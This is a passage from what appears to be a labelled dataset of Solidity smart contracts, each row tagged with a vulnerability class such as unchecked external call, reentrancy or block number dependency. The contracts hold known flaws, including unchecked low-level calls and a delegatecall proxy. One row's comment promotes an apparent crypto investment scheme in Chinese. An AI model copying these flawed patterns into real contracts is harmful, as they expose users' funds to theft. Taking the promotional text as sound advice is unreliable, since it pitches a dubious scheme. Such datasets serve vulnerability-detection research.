_amount, bytes _data, string _custom_fallback) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) throw; } require(super.transferFrom(_from, _to, _amount)); if (isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data); } ERC223Transfer(_from, _to, _amount, _data); return true; } /* * ERC 223 * Added support for the ERC 223 ""tokenFallback"" method in a ""transfer"" function with a payload. */ function transfer( address _to, uint _amount, bytes _data, string _custom_fallback) public returns (bool success) { return transferFrom(msg.sender, _to, _amount, _data, _custom_fallback); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) returns (bool success) { // Alerts the token controller of the approve function call if (isContract(controller)) { if (!TokenController(controller).onApprove(msg.sender, _spender, _amount)) throw; } return super.approve(_spender, _amount); } function mint(address _guy, uint _wad) auth stoppable { super.mint(_guy, _wad); Transfer(0, _guy, _wad); } function burn(address _guy, uint _wad) auth stoppable { super.burn(_guy, _wad); Transfer(_guy, 0, _wad); } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success) { if (!approve(_spender, _amount)) throw; ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () payable { if (isContract(controller)) { if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender)) throw; } else { throw; } } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }",./Dataset/unchecked external call (UC),7,7 33554.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract eRupee is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function eRupee( ) { balances[msg.sender] = 500000000000000.00; // Give the creator all initial tokens (100000 for example) totalSupply = 500000000000000.00 ; // Update total supply (100000 for example) name = ""eRupee""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""e₹""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x04f309f0C73dfa6Ca220ac35c12FE48B45f3aC7B_MSD.sol,"pragma solidity ^0.4.25; /* 转自马三多: 亲爱的ADC家人们 大家好 我是三多 很高兴以另一种形式与大家分享。这段时间,我们的团队都在忙fus的交易所上线以及c币商城的联营合作交接,只要再给我们一段时间,我们就能给大家一个未来。 在fus上线这段时间,大家可以大力支持c币商城这个项目,只要ccm能够在商城中流通并且通过大家的蚁群传播去宣传购买使用,去装币和矿机不久就会开启,大家的守望就能得到回报。同时c币作为母币有了应用场景的落地运用,fus也会加快上交易所的速度,其它的直营项目也会陆续开启。 其实在这段时间有不少的家人受到了很大的困扰,有被其它项目遭遇割韭菜的原因,也有平台转换矿机模式的原因。同时在这段时间里有不少ADC的家人们通过时间这把尺里,量出了每个人的深浅,见证每个人的变迁。对于所有的家人的各种行为我没有恨意,只有痛心和抱歉。其实从6月24号平台数据转移的时候开始到现在,我很坦言在这段时间里,我亲自来回奔波于雅加达和我的祖国,目的就是为了我们的fus可以完美的上大型交易所。我们的团队先后上线LW、biigo商城、彩旗飘飘以及激活以太小丑等项目,并且在8月初LW上线第一轮的时候我还特意从雅加达回国。当时的确见证了奇迹的发生,开始的玩家在平台方的建议学习中得到10-15倍的收益,紧跟着的biigo和以太小丑也陆续加入了直营开展,都起到不错效果。开展的所有直营项目就是让大家的c币可以兑换项目的股权,确保c币的应用与流通。 但在九月初,我和我的团队在敦煌遇到了十分棘手的事情,耽误了好长一段时间,并且暂时关闭了大部分的直营项目,延迟了一些开发。在此,深感抱歉。但是很快我们的c币商城ccm就会如期上线,只要大家回到最初拥抱平台,商城和平台就会实现大家的梦想。 对于ccm商城乃至家人们你们到外面做的项目我想说一下: 一、可操作性:遇到好项目很难,因为任何模式的项目,最重要的是充足的进场资金,有充足的进场资金项目才能进行下去。同时还要有稳定的会员环境,不要动不动就让会员左右摇摆失去信心。所有有办法解决以上两个问题的项目,我认为都值得参与的。CCM创链商城的项目合作方有着鸿利智汇的背景帮忙:有着充足的资金,加上我们ADC百万会员的粘性是可谓强强联手,所以,ADC的家人们,别拿自己的时间去见证别人的梦想成真,要做就必须捍卫自己的梦想了。 二、不可操作性 第一原则,设立运营中心的不选,这样的平台风险在于政策风险,政策风险是我们选择项目的首要原则。 第二原则,开设中央账户或者指定的账户把钱打过去使资金集中化的不选。这类项目最大的风险在于操盘手会随时卷钱跑路,因为资金量太大,资金量太小的时候无所谓,但是当大量资金几千万甚至上亿的时候呢?换做是你会怎样做? 第三原则,固定返利项目不做。也就是会员投入多少钱,每个月或者每天给固定返还多少,这种项目到后期会承载不了更多人的返利。一个项目不是说操盘手或者老板想做就可以继续做下去的,要看项目本身有没有长久走下去的能力,就是这个项目的造血能力。 第四原则,上来就把公司包装的非常豪华,邀请领导人去考察,吃住免费,报销路费的不做。,试想一下有这么好的事吗?一般情况下这种项目出问题的机率非常高,真正有实力的企业需要用这样的方式去融资或者运营市场吗? 第五原则,虚夸政治背景的不做。不要动不动就说是ZF投资,国家领导人看好。我们在商言商,既然以商业的角度来做项目,就不要扯到政治,如果扯到政治,那还叫商业吗,国家领导人看好的项目轮得到你吗?低调才是硬道理。 第六原则,没有发展趋势不做。就是时机不对的项目,如果一个项目在未来没有市场,那我们去推广分享就有很大的风险,一个好的项目是需要时间跟市场的检验。 第七原则,超过一个月的不要去做。 以上是对于大家做项目的分享,另外需要作出的一些澄清就是最近其它平台维权的人很多,也发了不少关于我的谣言和身世报道,以及一些平台幕后人员的不真实的公安报道。大家不需要再乱打听,今天,我在这里很坦言的剖析平台内部: 我姓叶,出生在美丽的浙江,在广东留下了学习的足迹,我有个美满的家庭,我爱我的家庭就像爱我们平台的家人一样,所以大家不用理会流传于现今所有公众平台的信息。相信我们的矿机会伴随商城的发展而开启,相信我们的fus会在适当的时候上交易所,大家一定要坚持我们的初心。所以,今天我就要让我们幕后的人员走上前台,给于大家鼓舞的信心,为ADC的家人保驾护航一起走下去。 第一、 我们海外的团队工作地区是雅加达,领导也姓叶(老乡),负责技术维护和管理开发,并且到德国负责数字货币的上线于技术开发。 第二、 早期的客服即旺财棋牌的客服和c先生也是我的老乡,客服姓刘,主要业务是和大家沟通,没有怎么参与其中的其它业务。 第三、 本国市场的业务开发以及技术管理运营姓刘,也是老乡,因为需要四处奔波,所以经常住各地酒店,是平台运作的主要骨干。 今天我们幕后的人员站出前台,主要是给大家建立稳定的信心,我们绝对不会像其它平台一样畏手畏脚,操盘手藏于深渊。因为我们都是干实事的平台。为了加大家人们对平台的信心,下一次见面会在国庆前夕,我们幕后的技术团队将会与大家分享更多更详尽的信息,坦荡荡的与大家一起前行,请大家相信平台回到最初,假以时日,你们可以和身边嘲笑你的人说:我们的未来不一样。 联系邮箱:[email protected] */ contract MSD { }",Safe,8,8 32341.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000; // Update total supply (100000 for example) name = ""BrownSuga""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""BSG""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 970.sol,"pragma solidity ^0.4.12; contract IMigrationContract { function migrate(address addr, uint256 nas) returns (bool success); } contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract OATToken is StandardToken, SafeMath { string public constant name = ""Ocean""; string public constant symbol = ""OAT""; uint256 public constant decimals = 18; string public version = ""1.0""; address public ethFundDeposit; address public newContractAddr; bool public isFunding; uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; uint256 public tokenRaised = 0; uint256 public tokenMigrated = 0; uint256 public tokenExchangeRate = 625; event AllocateToken(address indexed _to, uint256 _value); event IssueToken(address indexed _to, uint256 _value); event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } function OATToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(210000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); } function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); } function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); } }",./Dataset/block number dependency (BN),0,0 0x04c39e68215a42d697d72ffcd8345a0155003b25_LicenseCoin.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract LicenseCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function LicenseCoin( ) { balances[msg.sender] = 2000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 2000000000000000000000000000; // Update total supply (100000 for example) name = ""LicenseCoin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""LIC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 7628.sol,"pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Roles { address public superAdmin ; address public canary ; mapping (address => bool) public initiators ; mapping (address => bool) public validators ; address[] validatorsAcct ; uint public qtyInitiators ; uint constant public maxValidators = 20 ; uint public qtyValidators ; event superAdminOwnershipTransferred(address indexed previousOwner, address indexed newOwner); event initiatorAdded(address indexed newInitiator); event validatorAdded(address indexed newValidator); event initiatorRemoved(address indexed removedInitiator); event validatorRemoved(address indexed addedValidator); event canaryOwnershipTransferred(address indexed previousOwner, address indexed newOwner) ; constructor() public { superAdmin = msg.sender ; } modifier onlySuperAdmin { require( msg.sender == superAdmin ); _; } modifier onlyCanary { require( msg.sender == canary ); _; } modifier onlyInitiators { require( initiators[msg.sender] ); _; } modifier onlyValidators { require( validators[msg.sender] ); _; } function transferSuperAdminOwnership(address newOwner) public onlySuperAdmin { require(newOwner != address(0)) ; superAdmin = newOwner ; emit superAdminOwnershipTransferred(superAdmin, newOwner) ; } function transferCanaryOwnership(address newOwner) public onlySuperAdmin { require(newOwner != address(0)) ; canary = newOwner ; emit canaryOwnershipTransferred(canary, newOwner) ; } function addValidator(address _validatorAddr) public onlySuperAdmin { require(_validatorAddr != address(0)); require(!validators[_validatorAddr]) ; validators[_validatorAddr] = true ; validatorsAcct.push(_validatorAddr) ; qtyValidators++ ; emit validatorAdded(_validatorAddr) ; } function revokeValidator(address _validatorAddr) public onlySuperAdmin { require(_validatorAddr != address(0)); require(validators[_validatorAddr]) ; validators[_validatorAddr] = false ; for(uint i = 0 ; i < qtyValidators ; i++ ) { if (validatorsAcct[i] == _validatorAddr) validatorsAcct[i] = address(0) ; } qtyValidators-- ; emit validatorRemoved(_validatorAddr) ; } function addInitiator(address _initiatorAddr) public onlySuperAdmin { require(_initiatorAddr != address(0)); require(!initiators[_initiatorAddr]) ; initiators[_initiatorAddr] = true ; qtyInitiators++ ; emit initiatorAdded(_initiatorAddr) ; } function revokeInitiator(address _initiatorAddr) public onlySuperAdmin { require(_initiatorAddr != address(0)); require(initiators[_initiatorAddr]) ; initiators[_initiatorAddr] = false ; qtyInitiators-- ; emit initiatorRemoved(_initiatorAddr) ; } } contract Storage { uint scoringThreshold ; struct Proposal { string ipfsAddress ; uint timestamp ; uint totalAffirmativeVotes ; uint totalNegativeVotes ; uint totalVoters ; address[] votersAcct ; mapping (address => uint) votes ; } mapping (bytes32 => Proposal) public proposals ; uint256 totalProposals ; bytes32[] rootHashesProposals ; mapping (bytes32 => string) public ipfsAddresses ; bytes32[] ipfsAddressesAcct ; } contract Registry is Storage, Roles { address public logic_contract; function setLogicContract(address _c) public onlySuperAdmin returns (bool success){ logic_contract = _c; return true; } function () payable public { address target = logic_contract; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, target, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } case 1 { return(ptr, size) } } } } contract FKXIdentitiesV1 is Storage, Roles { using SafeMath for uint256; event newProposalLogged(address indexed initiator, bytes32 rootHash, string ipfsAddress ) ; event newVoteLogged(address indexed voter, bool vote) ; event newIpfsAddressAdded(bytes32 rootHash, string ipfsAddress ) ; constructor() public { qtyInitiators = 0 ; qtyValidators = 0 ; scoringThreshold = 10 ; } function setScoringThreshold(uint _scoreMax) public onlySuperAdmin { scoringThreshold = _scoreMax ; } function propose(bytes32 _rootHash, string _ipfsAddress) public onlyInitiators { require(proposals[_rootHash].timestamp == 0 ) ; address[] memory newVoterAcct = new address[](maxValidators) ; Proposal memory newProposal = Proposal( _ipfsAddress , now, 0, 0, 0, newVoterAcct ) ; proposals[_rootHash] = newProposal ; emit newProposalLogged(msg.sender, _rootHash, _ipfsAddress ) ; rootHashesProposals.push(_rootHash) ; totalProposals++ ; } function getIpfsAddress(bytes32 _rootHash) constant public returns (string _ipfsAddress) { return ipfsAddresses[_rootHash] ; } function getProposedIpfs(bytes32 _rootHash) constant public returns (string _ipfsAddress) { return proposals[_rootHash].ipfsAddress ; } function howManyVoters(bytes32 _rootHash) constant public returns (uint) { return proposals[_rootHash].totalVoters ; } function vote(bytes32 _rootHash, bool _vote) public onlyValidators { require(proposals[_rootHash].timestamp > 0) ; require(proposals[_rootHash].votes[msg.sender]==0) ; proposals[_rootHash].votersAcct.push(msg.sender) ; if (_vote ) { proposals[_rootHash].votes[msg.sender] = 1 ; proposals[_rootHash].totalAffirmativeVotes++ ; } else { proposals[_rootHash].votes[msg.sender] = 2 ; proposals[_rootHash].totalNegativeVotes++ ; } emit newVoteLogged(msg.sender, _vote) ; proposals[_rootHash].totalVoters++ ; if ( isConsensusObtained(proposals[_rootHash].totalAffirmativeVotes) ) { bytes memory tempEmptyString = bytes(ipfsAddresses[_rootHash]) ; if ( tempEmptyString.length == 0 ) { ipfsAddresses[_rootHash] = proposals[_rootHash].ipfsAddress ; 